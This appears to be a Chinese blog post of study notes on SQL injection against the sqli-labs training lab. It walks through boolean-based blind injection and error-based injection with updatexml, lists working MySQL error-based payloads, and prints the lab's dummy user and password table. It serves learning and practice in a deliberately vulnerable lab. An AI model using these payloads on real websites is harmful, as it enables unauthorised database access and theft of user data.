SQL注入基础(二)

SQL注入基础(二) 1

4.1.6Boolean(布尔)注入攻击

sqli-labs的Less-5
发现在1=1是返回you are in,1=2时无返回值,而并不是返回具体数据。所以判断本题为布尔型注入攻击。
payload:?id=1’and 1=2–+
1=1
1=2

注入攻击步骤

1.判断数据库版本。

判断数据库版本。
可以使用left(version(),1)=5
判断数据库的版本号第一位数字是否是5
在这里插入图片描述

2.判断数据库长度

length(database())=8
在这里插入图片描述

3.猜测数据库名

left(database(),1)=‘a’
推荐使用substr(database(),1,1)='s’这种方式
以为left函数无法进行每个字符分别爆破
例如lef(database(),2)为测试第一和第二两个字符
而substr可以分别测试每个字符
在这里插入图片描述

这一步可以使用burp进行爆破
3.1第一种函数在这里插入图片描述
按照编号库名为“security”

3.2第二种函数
left()函数可以使用二分法进行叫快速的爆破:
英文字母有26个

a b c d e f g h i j k l m
n o p q r s t u v w x y z
  • 第一步可一线判断第一位字符是否大于m
    payload:'and left(database(),1)>‘m’–+ ,可以看到有返回内容。在这里插入图片描述

既然有返回内容那么我们可以测试是否大于’s’。在这里插入图片描述
无返回内容,测试是否小于’s’。在这里插入图片描述
也没有返回内容,那么可以判断出第一位字符为‘s’。

  • 第二步测试前两位字符

payload:‘and left(database(),2)>‘sm’–+ .在这里插入图片描述
无返回值,说明第二位字符在[a~m]中。
测试’sf’。
在这里插入图片描述
测试’sc’。
在这里插入图片描述
发现有返回值,那么大于’c’小于’f’的只有’d’,‘e’。测试’d’。在这里插入图片描述
不等于’sd’,那么前两位字符为’se’。
其他六位字符用同样的方法进行测试,可以爆破出库名为’security’。

4.判断表名

payload:
?id=1’and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>‘m’–+
limit 0,1 取得是第一个表,第二个表1,1
substr(x,1,1)取得是x的第一位字符。
使用burp进行爆破
在这里插入图片描述
整理后可得知
表结构为:

emails
referers
uagents
users

5.判断列明

方法1:
如果我们想要查询users表
payload1:
?id=1’and substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),1,1)
使用burp进行爆破
在这里插入图片描述
整理后等到列名

id
username
password

6.判断数据

payload:
?id=1’and substr((select username from security.users limit 0,1),1,1)=‘a’–+
在这里插入图片描述
在这里插入图片描述
整理后得到:

idusernamepassword
1DumbDumb
2AngelinaI-kill-you
3DummyP@ssword
4securecrappy
5stupidstupidity
6supermangenious
7batmanmob!le
8adminadmin
9admin1admin1
10admin2admin2
11admin3admin3
12dhakkandumbo
14admin4admin4

4.1.8报错注入攻击

Less-5

第一步·爆破库名

payload1:
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 7,1),0x7e),1)--+
/*payload1会将所有数据库名全部输出,但是报错注入只能输出一个,所以使用limit遍历出所有数据库名称。*/

payload2:
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
/*payload2只是将查询内容更换成database(),查询的是当前使用的数据库。*/

在这里插入图片描述

第二步·爆破表名

payload:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
/*更改limit 0,1以爆出所有表名。*/

在这里插入图片描述

第三步·爆破列名

payload:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e),1)--+

在这里插入图片描述

第四步·获取数据信息

payload:
?id=1' and updatexml(1,concat(0x7e,(select username from security.users limit 1,1),0x7e),1)--+
/*可以将username更改为password、id,更换limit 0,1来获取全部数据。*/

在这里插入图片描述

可用于报错注入的payload:
UpdateXml报错:
    updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
ExtractValue报错:
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))--+
floor报错:    
    and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
join报错:
    and select * from(select * from mysql.user ajoin mysql.user b)c--+   
exp报错:
   and EXP(~(SELECT * from(select user())a))--+    

  1. SQL注入基础是在学习“MS08067安全攻防实验室”出版的《Web安全攻防》以及配套视频的同时,以sqli-labs为课后作业进行记录整理的笔记。文中的知识点是从书籍、视频、网络中搜集的。 ↩︎

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值